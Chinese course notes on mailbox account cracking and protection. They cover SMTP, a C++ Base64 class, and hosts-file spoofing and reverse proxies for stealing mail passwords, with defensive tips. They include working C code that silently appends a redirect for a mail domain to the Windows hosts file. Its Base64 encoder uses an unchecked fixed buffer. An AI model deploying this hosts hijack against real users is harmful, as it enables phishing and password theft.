传智播客c/c++公开课学习笔记--邮箱账户的破解与邮箱安全防控
一、SMTP协议
SMTP(SimpleMail Transfer Protocol)即简单邮件传输协议。
SMTP协议属于TCP/IP协议簇,通过SMTP协议所指定的server,就能够把E-mail寄到收信人的server上。
SMTPserver则是遵循SMTP协议的发送邮件server,用来发送或中转发出的电子邮件。
SMTP使用TCP提供的可靠的传输数据服务把邮件消息从发信人的邮件server传送到收信人的邮件server。
跟大多数应用层协议一样,SMTP也存在两个 端:在发信人的邮件server上执行的client和在收信人的邮件server上执行的server端。SMTP的client和server端同一时候执行在每一个邮件server上。
当一个邮件server在向其它邮件server发送邮件消息时,它是作为SMTP客户在执行。
二、Base64编码
Base64是网络上最常见的用于传输8Bit字节代码的编码方式之中的一个,參见RFC2045~RFC2049,上面有MIME的具体规范。
Base64编码可用于在SMTP的username和password验证以及邮件附件编码。採用Base64编码具有不可读性,即所编码的数据不会被人用肉眼所直接看到。
// Base64.h: interface for the CBase64 class.
//
////////////////////////////////////////////////////////////////////// #if !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)
#define AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_ #include <string>
#include <stdio.h>
#include <string.h> using namespace std; class CBase64
{
public:
CBase64();
virtual ~CBase64();
virtual int Decode(const char* szDecoding, char* szOutput );//base64 to ascii
virtual int Encode(const char* szEncoding, int nSize, char* szOutput);//ascii to base64 protected:
unsigned char encodeBuf[3000];
char Base2Chr( char n )
{
n &= 0x3F; return m_sBase64Alphabet[(int)n]; if ( n < 26 )
return ( char )( n + 'A' );
else if ( n < 52 )
return ( char )( n - 26 + 'a' );
else if ( n < 62 )
return ( char )( n - 52 + '0' );
else if ( n == 62 )
return '+';
else
return '/';
} unsigned char Chr2Base( char c )
{
if ( c >= 'A' && c <= 'Z' )
return ( unsigned char )( c - 'A' );
else if ( c >= 'a' && c <= 'z' )
return ( unsigned char )( c - 'a' + 26 );
else if ( c >= '0' && c <= '9' )
return ( unsigned char )( c - '0' + 52 );
else if ( c == '+' )
return 62;
else if ( c == '/' )
return 63;
else
return 64; // N^P'WV7{
}
static std::string m_sBase64Alphabet;
}; //modify end #endif // !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)
// Base64.cpp: implementation of the CBase64 class.
#define _CRT_SECURE_NO_WARNINGS
#include "Base64.h"
// The 7-bit alphabet used to encode binary information //////////////////////////////////////////////////////////////////////
// Construction/Destruction
////////////////////////////////////////////////////////////////////// CBase64::CBase64()
{
memset(encodeBuf, 0, sizeof(encodeBuf));
} CBase64::~CBase64()
{ } std::string CBase64::m_sBase64Alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" ); int CBase64::Decode(const char* szDecoding, char* szOutput )//base64 to ascii
{
unsigned char * p = (unsigned char *)szOutput;
int i, n = strlen( szDecoding );
unsigned char c, t; for ( i = 0; i < n; i++ )
{
if ( *szDecoding == '=' )
break;
do {
if ( *szDecoding )
c = Chr2Base( *szDecoding++ );
else
c = 65; // WV7{4.=aJx
} while ( c == 64 ); // Lx9}N^P'WV7{#,Hg;X355H
if ( c == 65 )
break;
switch ( i % 4 )
{
case 0 :
t = c << 2;
break;
case 1 :
*p++ = ( unsigned char )( t | ( c >> 4 ) );
t = ( unsigned char )( c << 4 );
break;
case 2 :
*p++ = ( unsigned char )( t | ( c >> 2 ) );
t = ( unsigned char )( c << 6 );
break;
case 3 :
*p++ = ( unsigned char )( t | c );
break;
}
}
//(char *)szOutput; return ( (char*)p - szOutput );
} int CBase64::Encode(const char* szEncoding, int nSize, char* szOutput)//ascii to base64
{
std::string sOutput = string("");
int nIndex = 0;
//unsigned char cTemp1[4096];
memset(encodeBuf, 0, sizeof(encodeBuf)); if (!szEncoding)
return 0;
/*else
(unsigned char*)szEncoding;*/ memcpy(encodeBuf, szEncoding, nSize); unsigned char *cTemp = encodeBuf; unsigned char t; for ( nIndex = 0; nIndex < nSize; nIndex++ )
{
switch ( nIndex % 3 )
{
case 0 :
sOutput += Base2Chr( *cTemp >> 2 );
t = ( *cTemp << 4 ) & 0x3F;
cTemp++;
break;
case 1 :
sOutput += Base2Chr( t | ( *cTemp >> 4 ) );
t = ( *cTemp << 2 ) & 0x3F;
cTemp++;
break;
case 2 :
sOutput += Base2Chr( t | ( *cTemp >> 6 ) );
sOutput += Base2Chr( *cTemp & 0x3F );
cTemp++;
break;
}
}
if ( nSize % 3 != 0 )
{
sOutput += Base2Chr( t );
if ( nSize % 3 == 1 )
sOutput += '=';
sOutput += '=';
} strcpy(szOutput, sOutput.c_str());
return sOutput.length();
}
#include <stdio.h>
#include <string.h>
#include "Base64.h" int main01()//这个是将ascii转化为base64的代码
{
CBase64 base;//创建CBase64类的一个实例,也叫一个对象,
char base64[100] = { 0 };
char ascii[100] = "18513105526";
base.Encode(ascii, strlen(ascii), base64);
printf("%s\n", base64);
return 0;
} int main()//这个是将base64转化为ascii的代码
{
CBase64 base;//创建CBase64类的一个实例,也叫一个对象。
char base64[100] = "UGFzc3dvcmQ6";
char ascii[100] = { 0 };
base.Decode(base64, ascii);//将base64这个字符串转化为ascii,结果放到ascii这个字符串里面
printf("%s\n", ascii);
return 0;
}
三、邮箱账户的破解与防护
1)hosts欺骗与钓鱼站点
钓鱼站点的实现以及怎样防范
钓鱼站点就是一个和真实站点样子非常相似的一个冒牌站点
钓鱼站点把用户输入的信息都截获了
钓鱼站点怎样让用户能主动登陆到钓鱼站点呢?
Hosts欺骗,在windows系统文件夹下有一个hosts文件,这个文件内部存放的就是IP和域名的相应关系
我仅仅须要在hosts文件里增加一行。比方要让用户登陆到mail.wo.cn这个站点的时候自己主动登陆钓鱼站点
Hosts文件里
123.57.211.212 mail.wo.cn
怎样防范,一定要定期检查你的hosts文件,看是否有未知的IP以及其它的域名信息,
不要擅自执行来路不明各种程序,由于有些程序就是恶意的改动你的hosts文件的
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma warning(disable:4996)//屏蔽vs 4996这个错误信息 int setHosts(const char *IP, const char *domain)//改动hosts文件
{
char s[100] = { 0 };
GetSystemDirectoryA(s, sizeof(s));//得到windows的系统安装文件夹
char path[1024] = { 0 };
sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts");
char content[1024] = { 0 };
sprintf(content, "\n%s %s", IP, domain);
FILE *p = fopen(path, "a");//用追加的方式打开hosts文件
if (p)
{
fputs(content, p);//将ip与域名的相应关系写入hosts文件
fclose(p);
return 0;//代表写入成功
}
return -1;// 写入hosts文件失败
} int main()
{
int rc = setHosts("123.57.211.212", "smtp.wo.cn");
printf("rc = %d\n", rc);
return 0;
}
2)反向代理
怎样通过反向代理来窃取password。以及怎样防范
通过反向代理,差点儿能够无缝的窃取client的非常多信息
一般如今的smtp都具备ssl。所以最好用ssl来连接邮件server。由于用ssl即使有反向代理截获了消息报文,但破译报文的代价会非常大。
为了邮箱的安全,请各位同学一定要使用带ssl功能的邮件server。ssl全部报文都是加密的
切记一定不能擅自执行各种来路不明的程序,有些程序就是通过改动hosts文件来达到钓鱼或者反向代理的恶意企图的。
邮箱的password一旦泄露,有时候代价会非常大。由于非常多骗子会利用你的邮箱发邮件。同一时候万一你的邮箱password和你的其它password是同样。那就更危急了。
传智播客c/c++公开课学习笔记--邮箱账户的破解与邮箱安全防控的更多相关文章
- SSH-Struts第三弹:传智播客视频教程第一天上午的笔记
一. 框架概述1.三大框架 : 是企业主流 JavaEE 开发的一套架构 Struts2 + Spring + Hibernate 2. 什么是框架?为什么要学框架 ?框架 是 实现部分功能的代码 ( ...
- 传智播客成都校园php纪律指控
继传智播客成都校区php第一期班圆满开班,说明php的火爆一点儿也不亚于java! 经传智播客商讨决定,传智播客成都校区php学科收费标准例如以下: 採用下面不论什么一种方式都能够享受优惠价: 一.自 ...
- 传智播客ADO.Net项目开发教程具体解释
内容简单介绍: 本教程为传智播客.Net培训课堂的现场录像,请到140623ls" target="_blank">传智播客.Net学院下载很多其它免费.Net视频 ...
- 揭秘传智播客毕业班的超级薪水7k内幕系列II----Offer工资表5.7k,为什么不能让老师就业就业
在上海传智播客宋学生Java六期学员.在班级尚未毕业阶段,私自投递简历,而且逃课去面试,获得某国企的Offer.入职薪资5.7K,,兼有五险一金.饭补等齐全福利,因就业老师要求班级同学未毕业不要急于就 ...
- 揭秘上海传智播客平均工资超过7k
其中一位知情人士
大学毕业生人数破700万大关.如何破解"毕业即失业"中国式的大学困境? 2014年全国高校毕业生总数将达到727万人,比被称为"史上最难就业年"的2013年再添 ...
- 揭秘传智播客班级毕业薪资超7k的内幕系列 之三 ----国企慕名而来,将未毕业学员“抢走”,传智播客又一次定义“被就业”
前面文章提及Java六期学员张同学提前就业某国企,入职薪资6.3k,各种福利齐全.作为班级首位就业同学,他的就业也成为了班级其它同学就业的风向标.但事实上张同学的就业属于"被就业" ...
- 《2013传智播客视频》-wmv,avi,mp4.目录
\!--14俄罗斯方块\视频\.复习.avi; \!--14俄罗斯方块\视频\ 复习.avi; \!--14俄罗斯方块\视频\ 形状旋转.avi; \!--14俄罗斯方块\视频\ 判断形状能否变形.a ...
- 2013传智播客视频--.ppt,.pptx,.doc,.docx.目录
\!-- JQ03-JQ事件动画\.1版JS+JQ PPT\00JsDom编程01_邹华栋.docx; \!-- JQ03-JQ事件动画\.1版JS+JQ PPT\00JsDom编程01_邹华栋.pp ...
- 传智播客.NET视频学习课件
传智播客.NET视频学习课件访问.NET网站了解更多课程详情http://net.itcast.cn(小提示:为什么本书中超链接打不开?)此套课件是伴随 传智播客.net实况教学视频 (小提示:为什么 ...
随机推荐
- Android Device Monitor工具的使用
在最新的Android Studio3.x版本中,已经去掉了Android Device Monitor工具,但是不代表Android Device Monitor工具就不能用了,找到sdk的目录: ...
- jQuery 1
<!DOCTYPE html> <html lang="zh-cn"> <head> <meta charset="utf-8& ...
- Selenium2(webdriver)入门之TestNG的安装与简单使用
上一篇已经搭建好了Eclipse+selenium2的环境,这一篇主要记录下TestNG的使用. 一.在Eclipse中安装TestNG 1.打开eclipse-->help-->Inst ...
- ubuntu中apache2的安装与卸载
一.装apache2 安装命令:sudo apt-get install apache2 启动/停止/重启apache2: service apache2 start/stop/restart 二. ...
- shell 截取变量的字符串(转)
来自:http://blog.sina.com.cn/s/blog_7c95e5850100zpch.html 假设有变量 var=http://www.linuxidc.com/test.htm 一 ...
- HDU2717 Catch That Cow 【广搜】
Catch That Cow Time Limit: 5000/2000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) T ...
- Quartz.NET开源作业调度框架系列(三):IJobExecutionContext 参数传递-转
前面写了关于Quartz.NET开源作业调度框架的入门和Cron Trigger , 这次继续这个系列, 这次想讨论一下Quartz.NET中的Job如何通过执行上下文(Execution Conte ...
- 使用nmap查看web服务支持的http methods
安装nmap yum install nmap 查看web server支持的http methods u02 ~]$ nmap -p --script http-methods www.somewh ...
- 转:Ogre的SceneManager分析
SceneManager分析 场景管理主要工作包括以下几点: 1.可移动.不可移动和可渲染物体的创建删除. 2.场景查询. 3.渲染队列. 4.动态阴影. 一. 场景对象创建 场景中的所有对象,包括可 ...
- [javase学习笔记]-8.3 statickeyword使用的注意细节
这一节我们看静态在使用过程中应注意的几个细节. 上一节我们在学习成员变量与静态变量的差别时,对于两种变量的调用方式不同一时候出现了"无法从静态上下文中訪问非静态变量"的错误.这个问 ...